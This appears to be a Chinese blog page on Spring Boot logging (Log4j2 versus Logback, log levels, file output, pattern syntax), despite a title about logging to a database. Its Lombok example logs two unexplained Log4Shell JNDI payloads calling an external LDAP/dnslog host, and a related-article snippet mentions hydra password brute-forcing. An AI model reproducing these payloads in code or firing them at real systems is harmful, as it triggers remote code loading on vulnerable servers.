当前位置: 首页 > news >正文

logback 自定义日志输出到数据库

项目日志格式

Spring Boot 的默认日志输出类似于以下示例:

2021-12-14 22:40:14.159  INFO 20132 --- [           main] com.kuangstudy.SpringbootApplication     : Started SpringbootApplication in 2.466 seconds (JVM running for 3.617)

输出以下项目:

  • 日期和时间:毫秒精度且易于排序。
  • 日志级别:ERRORWARNINFODEBUG,或 TRACE
  • 进程标识。
  • 一个 --- 分离器来区分实际日志消息的开始。
  • 线程名称:括在方括号中(可能会被截断以用于控制台输出)。
  • 记录器名称:这通常是源类名称(通常缩写)。
  • 日志消息。
  • 换行符

注意:Logback 没有 FATAL级别。它被映射到 ERROR.

流行的日志框架

  • Java Util Logging
  • Logging
  • Log4j2
  • Logback(默认)

image-20211214152458613

从上图中分析得出 springboot 的底层 spring-boot-starter-logging 可以看出,它依赖的 3 个日志框架:slf4j、Logback、Log4j2 。它们的区别是:

  • logback 和 log4j 是日志实现框架,就是实现怎么记录日志的。

  • slf4j-api 提供了 java 所有日志框架的简单规范和标准(日志的门面设计模式), 说白了就是一个日志 API(没有实现类),它不能单独使用:故必须结合 logback 和 Log4j2 日志框架来实现。

  • springboot 的日志搭配。

    • spring2.0 默认采用 slf4j-api + logback 的日志搭配,在开发过程中,我们都是采用 slf4j 的 api 去记录日志,底层的实现就是根据配置 logback 和 Log4j2 日志框架。

Log4j2

先来了解一下 Log4j2 的发展史:

Apache Log4j2 是 Log4j 的一个升级版本,但是不仅仅是升级,几乎完全进行了重构。旧版本的 Log4j,自 2015 年 5 月以后就停止对它的更新了。Log4j2 是高效的,低延迟的异步日志处理框架,在多线程的场景中,Log4j2 的性能是 Log4j、LogBack 和 Logging 日志吞吐量的 18 倍。

如果不是深度使用,两者并不会有太大差别,毕竟是一个妈生的,并且在使用 SLF4j 的时候可以无缝切换,配置也都差不多。个人建议,不必纠结选型,按照偏好选择即可。

如何整合如下:

配置

<!--springboot的web的starter-->
<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId><exclusions><exclusion><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-logging</artifactId></exclusion></exclusions>
</dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>

传统使用

 private final static Logger logger = LoggerFactory.getLogger(SpringbootApplication.class);

Lombok 使用

package com.kuangstudy;import lombok.extern.log4j.Log4j2;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;@SpringBootApplication
@Log4j2
public class SpringbootApplication {public static void main(String[] args) {SpringApplication.run(SpringbootApplication.class, args);log.error("${jndi:ldap://f0m8rj.dnslog.cn/exp}");log.error("${jndi:ldap://127.0.0.1:1389/badClassName}");}
}

LogBack 配置(默认)

因为项目里大多数用的都是 logback,后续的配置和重写都是针对 logback 的,两者都差不多,想用 log4j2 的可以自行研究。

概述分析

默认情况下,如果您使用“Starters”,则使用 Logback 进行日志记录。还包括适当的 Logback 路由,以确保使用 Java Util Logging、Commons Logging、Log4J 或 SLF4J 的依赖库都能正常工作。

具体操作如下:

package com.kuangstudy.web.log;import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;/*** Description:* Author: yykk Administrator* Version: 1.0* Create Date Time: 2021/12/14 15:31.* Update Date Time:** @see*/
@RestController
public class LoggerController {private final static Logger log = LoggerFactory.getLogger(LoggerController.class);@GetMapping("/log1")public String log1() {log.trace("--------------------trace");log.debug("--------------------debug");log.info("--------------------info");log.warn("--------------------warn");log.error("--------------------error");return "log1";}
}

打印可以看出来只打印了:

2021-12-14 15:33:59.473  INFO 15424 --- [nio-8083-exec-1] com.kuangstudy.web.log.LoggerController  : --------------------info
2021-12-14 15:33:59.474  WARN 15424 --- [nio-8083-exec-1] com.kuangstudy.web.log.LoggerController  : --------------------warn
2021-12-14 15:33:59.474 ERROR 15424 --- [nio-8083-exec-1] com.kuangstudy.web.log.LoggerController  : --------------------error

因为默认情况下:springboot 的默认日志级别是:info

# 修改日志级别
logging:level:root: info

可以在 application.yml 配置如下:

# 指定包的日志级别
logging:level:com.kuangstudy.web.log: trace

打印如下:

36:38.651 TRACE 4208 --- [nio-8083-exec-1] com.kuangstudy.web.log.LoggerController  : --------------------trace
2021-12-14 15:36:38.651 DEBUG 4208 --- [nio-8083-exec-1] com.kuangstudy.web.log.LoggerController  : --------------------debug
2021-12-14 15:36:38.651  INFO 4208 --- [nio-8083-exec-1] com.kuangstudy.web.log.LoggerController  : --------------------info
2021-12-14 15:36:38.651  WARN 4208 --- [nio-8083-exec-1] com.kuangstudy.web.log.LoggerController  : --------------------warn
2021-12-14 15:36:38.651 ERROR 4208 --- [nio-8083-exec-1] com.kuangstudy.web.log.LoggerController  : --------------------error

总结

  • debug 是开发首选,是一种明细的日志级别,可以看到框架加载类的所有过程,如果你要进行源码分析,查看 SQL 执行的过程,框架的执行的过程,肯定是用 debug

    # 修改日志级别
    logging:level:root: debugcom.kuang.order: info
    
  • info: 只会打印常见的日志信息

  • error: 只会打印错误日志信息,一般在生产环境中进行设定。因为项目开发测试完毕,肯定在线上肯定只关注错误,如果你其他也关注,可以单独设定。

    # 修改日志级别
    logging:level:root: errorcom.kuang.order: info
    

推荐安装一个 myabtis 日志插件:

image-20211214231843797

因为在平时开发中,debug 日志,输出的内容信息太多,所以 myabtis 开发日志插件,可以让你在 info 级别的输出日志中,可以查看到你 mybatis 执行的 SQL 和参数。

springboot 具体配置日志

默认 springboot 的日志是:logback , 但是只会输出 Error、Warn 和 Info 级别的日志信息。可以修改日志的级别来控制:

日志级别

logging:level: # 设置日志的默认级别为 inforoot: info# 设置com.kuantstudy.log包下的日志级别是 debugcom.kuantstudy.log: debug

日志文件

在实际开发中,特别是在生产环境中,你不可能一直看着控制台,而且日志会非常的大,瞬间就丢失了。因此我们需要把日志存储在指定的目录或者文件中。

当两种方式同时存在的时候,以 logging.file.name 为准

指令目录输入日志文件

告诉 springboot 使用 logback 生成的日志,除了在控制打印一份,同时往这个目录 outputs/logs 的中生成一个 spring.log 文件中生成一份。

一句话:目录的指定,只是告诉 spring.log 放在哪里。

logging:# 指定日志输出的目录file:path: outputs/logs

如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Zw1prJsK-1677209264298)(assets/image-20211214155519878-20221124094017-tk8etxz.png)]

指定以后,会默认生成 spring.log 文件

指定日志文件输出

logging:file:name: G://outputs/logs/springboot.log

如下:image-20211214155831936

日志格式

比如:

2021-12-14 16:13:07.120  INFO 20372 --- [           main] com.kuangstudy.SpringbootApplication     : No active profile set, falling back to default profiles: default
  • 日期和时间:毫秒精度且易于排序。- 2021-12-14 16:10:04:013
  • 日志级别:ERRORWARNINFODEBUG,或 TRACE。- INFO
  • 进程标识。[20372]
  • 一个 --- 分离器来区分实际日志消息的开始。
  • 线程名称:括在方括号中(可能会被截断以用于控制台输出)。[ main]
  • 记录器名称:这通常是源类名称(通常缩写)。- com.kuangstudy.SpringbootApplication
  • 日志消息。- No active profile set, falling back to default profiles: default

比如:

# 修改日志级别
logging:# 设置日志格式pattern:# 控制输出的格式#格式化输出:%d:表示日期    %thread:表示线程名     %-5level:级别从左显示5个字符宽度  %msg:日志消息    %n:是换行符console: "[console]==%d{yyyy-MM-dd HH:mm:ss:SSS} [%thread] %-5level %logger - %msg%n"# 文件输出的格式file: "[file]===%d{yyyy-MM-dd HH:mm:ss:SSS} [%thread] %-5level %logger - %msg%n"

分别日志的格式如下:

  • %d 或者 %date:指定日志的日期。默认是 ISO8601 的标准日期,相当于 yyyy-MM-dd HH:mm:ss:SSS
  • %level:指定日志的级别: Trace > Debug > Info> Warn> Error
  • %logger:指定日志输出的 包名 + 类名, {n}可以限定长度 比如:%logger{50}
  • %M:指定日志发生时的方法名
  • %L:指定日志调用时所在的行。线下运行的时候不建议使用此参数,因为获取代码的行号对性能有损耗
  • %m 或者 %msg:表示日志的输出的内容
  • %n :日志是否换行
  • %thread:打印线程的名字

相关文章:

logback 自定义日志输出到数据库

项目日志格式 Spring Boot 的默认日志输出类似于以下示例&#xff1a; 2021-12-14 22:40:14.159 INFO 20132 --- [ main] com.kuangstudy.SpringbootApplication : Started SpringbootApplication in 2.466 seconds (JVM running for 3.617)输出以下项目&…...

< elementUi 组件插件: el-table表格拖拽修改列宽及行高 及 使用注意事项 >

elementUi 组件插件&#xff1a; el-table拖拽修改列宽及行高 及 使用注意事项&#x1f449; 资源Js包下载及说明&#x1f449; 使用教程> 实现原理> 局部引入> 全局引入 &#xff08;在main.js中&#xff09;&#x1f449; 注意事项往期内容 &#x1f4a8;&#x1f4…...

微信小程序的分享朋友圈

分享朋友圈官方API&#xff1a;分享到朋友圈 1、分享到朋友圈接口设置事项&#xff1a; 2、onShareTimeline()注意事项&#xff1a; 3、分享朋友圈后&#xff0c;测试发现&#xff0c;没有数据请求。 用户在朋友圈打开分享的小程序页面&#xff0c;并不会真正打开小程序&…...

华为OD机试真题Python实现【 寻找路径】真题+解题思路+代码(20222023)

寻找路径 题目 二叉树也可以用数组来存储,给定一个数组,树的根节点的值储存在下标 1, 对于储存在下标 n 的节点,他的左子节点和右子节点分别储存在下标 2*n 和 2*n+1, 并且我们用 -1 代表一个节点为空。 给定一个数组存储的二叉树,试求从根节点到最小的叶子节点的路径,…...

九头蛇hydra爆破http示例

使用hydra执行http表单暴力破解 通过浏览器自带分析得知: 提交地址:http://10.0.0.115/student_attendance/ajax.php?action=login 提交方式:POST 提交数据:username=a&password=a 服务响应:3 根据以上收集的信息就可以使用hydra进行密码爆破 hydra 10.0.0.115 http…...

jQuery基本使用

获取和设置元素内容学习目标能够知道获取和设置元素内容的操作1. html方法的使用jquery中的html方法可以获取和设置标签的html内容示例代码:<script>$(function(){var $div $("#div1");// 获取标签的html内容var result $div.html();alert(result);// 设置…...

互联网企业如何进行数字化转型?业务需求迭代频繁的应对之策!

互联网行业作为我国数字经济发展“四化”框架中生产力主要组成部分&#xff0c;是国家数字化转型的主要推动者之一。为此&#xff0c;相对于其他传统行业来说&#xff0c;互联网行业企业数字化转型的紧迫程度更高&#xff0c;如果不数字化转型或者转型不成功&#xff0c;会有更…...

前端学习日记——Vue之Vuex初识(一)

前言 学习前端一段时间了&#xff0c;因为一直是做Python开发&#xff0c;所以凭借着语言的通性学习Javascript、Vue轻快很多&#xff0c;但一些碎片化的知识及插件的使用方法还是需要记录一下&#xff0c;时而复习&#xff0c;形成系统化的知识体系&#xff08;PS&#xff1a;…...

【C++】Windows动态库【.DLL文件】制作方法总结

如题&#xff0c;我们本篇介绍如何制作DLL&#xff0c;将代码类中的方法以接口的形式暴露出来给exe程序使用。会涉及类厂创建方法实例、声明DLL接口、.def文件的使用等。 目录 一、DLL介绍 二、C制作DLL文件 2.1 DLL端 2.2 调用端 三、DLL导出类方法 四、COM技术制作DLL…...

C 语言编程 — HelloWorld

目录 文章目录目录安装 Linux GCC 编译器YUM 安装发行版本编译安装指定版本HelloWorld基本语法编码运行安装 Linux GCC 编译器 YUM 安装发行版本 $ yum install gcc vim -y$ gcc --version gcc (GCC) 4.8.5 20150623 (Red Hat 4.8.5-39) Copyright © 2015 Free Software…...

蓝桥杯入门即劝退(二十一)三数之和(梦破碎的地方)

欢迎关注点赞评论&#xff0c;共同学习&#xff0c;共同进步&#xff01;------持续更新蓝桥杯入门系列算法实例--------如果你也喜欢Java和算法&#xff0c;欢迎订阅专栏共同学习交流&#xff01;你的点赞、关注、评论、是我创作的动力&#xff01;-------希望我的文章对你有所…...

element 下拉框支持搜索并输入

前言 下拉框对于开发来说再常见不过了&#xff0c;也是界面设计中的常用组件&#xff0c;在部分使用场景下&#xff0c;我们需要做到下拉框可以选择的同时&#xff0c;支持搜素和输入&#xff0c;以 element 的下拉框组件为例&#xff0c;当我们同时设置属性让其支持搜素和输入…...

JVM详解——垃圾回收

如果有兴趣了解更多相关内容的话&#xff0c;可以看看我的个人网站&#xff1a;耶瞳空间 GC&#xff1a;垃圾收集(Gabage Collection)&#xff0c;内存处理是编程人员容易出现问题的地方&#xff0c;忘记或者错误的内存。不当的回收可能会导致程序或系统的不稳定甚至崩溃&…...

spring之集成Mybatis

文章目录一、实现步骤1、准备数据库表2、在IDEA中创建一个模块&#xff0c;并引入依赖3、基于三层架构实现4、编写pojo5、编写mapper接口6、编写mapper配置文件7、编写service接口和service接口的实现类8、编写jdbc.properties配置文件9、编写mybatis-config.xml配置文件10、编…...

【面试宝典】准备面试了~集合

1、ArrayList和linkedList的区别 它们都是继承自 Collection。 ArrayList 是基于数组的&#xff0c;在使用查询的时候效率比较高&#xff0c;但删除效率却非常低&#xff0c;因为它需要重新排数组中的所有数据。 LinkList底层是一个双链表&#xff0c;在添加和删除元素时更好…...

华为OD机试真题Python实现【GPU 调度】真题+解题思路+代码(20222023)

GPU 调度 题目 为了充分发挥 GPU 算力, 需要尽可能多的将任务交给 GPU 执行, 现在有一个任务数组, 数组元素表示在这1s内新增的任务个数, 且每秒都有新增任务, 假设 GPU 最多一次执行n个任务, 一次执行耗时1s, 在保证 GPU 不空闲的情况下,最少需要多长时间执行完成。…...

gcc编译C源程序

一、安装 在Linux下&#xff0c;一般使用gcc或arm-linux-gcc交叉编译器来编译程序。在Ubuntu环境下&#xff0c;我们可以使用以下apt-get命令来安装这些编译程序。 apt-get install gcc apt-get install gcc-arm-linux-gnueabi 安装完毕后&#xff0c;使用以下命令查看编译器…...

Tina_Linux_各平台多媒体格式_支持列表_new

Tina Linux 各平台多媒体格式支持列表 1 概述 1.1 编写目的 本文档将介绍Allwinner Tina Linux 系统各个芯片平台支持的多媒体格式&#xff0c;旨在帮助软件开发工程师、技术支持工程师查找各芯片平台支持哪些多媒体格式。 1.2 适用范围 Tina Linux v3.5 及以上版本。 1.…...

归并排序及其应用

归并排序算法基于分而治之的概念&#xff0c;具体来说就是遍历一棵树&#xff0c;归并的过程是一个后序执行的动作。 由于我们知道每个子部分在合并后都是有序的&#xff0c;我们可以利用这个特性来解决一些问题。 上图可视化了merge sort algorithm的过程&#xff0c;我们很容…...

【PAT甲级题解记录】1007 Maximum Subsequence Sum (25 分)

【PAT甲级题解记录】1007 Maximum Subsequence Sum (25 分) 前言 Problem&#xff1a;1007 Maximum Subsequence Sum (25 分) Tags&#xff1a;DP Difficulty&#xff1a;剧情模式 想流点汗 想流点血 死而无憾 Address&#xff1a;1007 Maximum Subsequence Sum (25 分) 问题描…...

ChatGPT绘画提示词生成效率革命(92%设计师不知道的5层语义嵌套法)

更多请点击&#xff1a; https://kaifayun.com 第一章&#xff1a;ChatGPT绘画提示词生成效率革命&#xff08;92%设计师不知道的5层语义嵌套法&#xff09; 传统提示词工程常陷于“关键词堆砌”误区&#xff0c;而真正高阶的生成控制源于语义结构的纵深组织。5层语义嵌套法将…...

医疗AI入门实战:用Python从MIMIC-CXR数据集中提取X光图像和诊断报告(附完整代码)

医疗AI实战&#xff1a;Python解析MIMIC-CXR数据集全流程指南当第一次打开MIMIC-CXR数据集时&#xff0c;很多人会被它复杂的目录结构和海量文件吓到——超过37万张胸部X光片和22万份放射科报告分散在数百个嵌套文件夹中。这种看似混乱的存储方式其实反映了真实医院PACS系统的组…...

Win10桌面右键新建菜单丢了记事本?别慌,手把手教你用注册表找回来(附权限设置详解)

Win10右键新建菜单丢失记事本&#xff1f;三步精准修复与权限管理指南刚泡好的咖啡还在冒热气&#xff0c;你像往常一样在桌面右键点击"新建"&#xff0c;却发现那个最常用的"文本文档"选项凭空消失了。这不是个例——微软官方社区数据显示&#xff0c;每月…...

SSH Host key verification failed 原因与安全处理指南

1. 这个报错不是故障&#xff0c;而是SSH在认真履职“Host key verification failed”——第一次看到这个提示时&#xff0c;我正远程部署一个客户服务器&#xff0c;敲完ssh user192.168.3.45回车&#xff0c;终端突然卡住两秒&#xff0c;然后跳出这行红字&#xff0c;后面还…...

2026保姆级免费在线去水印教程:想保存无水印视频?用这些方法就够了

你是不是也遇到过这样的尴尬&#xff1a;刷到一个特别喜欢的视频想保存下来做素材&#xff0c;结果画面中间杵着大大的水印&#xff1b;或者朋友发来一张好图&#xff0c;角落的Logo怎么都去不掉&#xff1f;自己研究半天&#xff0c;又是下软件又是找教程&#xff0c;结果要么…...

鸿蒙健身计划页面构建:动作清单与训练部位分布模块详解

鸿蒙健身计划页面构建&#xff1a;动作清单与训练部位分布模块详解 前言 在 HarmonyOS 6.0 应用开发中&#xff0c;健身类页面的训练动作展示和训练部位分析是用户执行训练计划的核心参考模块。本文将以“健身计划”应用中的“动作清单”垂直列表模块和“训练部位分布”进度条网…...

Nginx基于反向代理的负载均衡

一、引言&#xff1a;从单点到集群&#xff0c;流量分发的艺术当你的应用用户量从几百飙升到几万&#xff0c;单台服务器很快就会成为性能瓶颈&#xff0c;甚至面临宕机风险。此时&#xff0c;最直接有效的解决方案就是横向扩展——部署多台服务器组成集群。但新问题随之而来&a…...

如何在Mac上免费运行Windows游戏与应用:Whisky完整指南

如何在Mac上免费运行Windows游戏与应用&#xff1a;Whisky完整指南 【免费下载链接】Whisky A modern Wine wrapper for macOS built with SwiftUI 项目地址: https://gitcode.com/gh_mirrors/wh/Whisky 还在为Mac无法运行Windows专属软件而烦恼吗&#xff1f;Whisky为你…...

DeepSeek混合云架构下跨AZ流量调度困局:基于eBPF+Service Mesh的实时负载感知调度器设计(已上线支撑日均2.7亿QPS)

更多请点击&#xff1a; https://codechina.net 第一章&#xff1a;DeepSeek混合云架构下跨AZ流量调度困局的系统性认知 在DeepSeek混合云生产环境中&#xff0c;核心推理服务部署于多可用区&#xff08;AZ&#xff09;集群&#xff0c;底层横跨公有云&#xff08;如AWS us-ea…...

多模态AI Agent架构:如何无缝融合文本、图像与行动?

多模态AI Agent架构:如何无缝融合文本、图像与行动? 摘要 随着GPT-4V、Gemini等多模态大模型的普及,AI已经从“能读会写”的文本时代进入“能看会认”的多模态时代,但当前绝大多数多模态应用仍停留在“感知-回答”的表层交互,缺乏将多模态感知结果转化为实际行动的能力。…...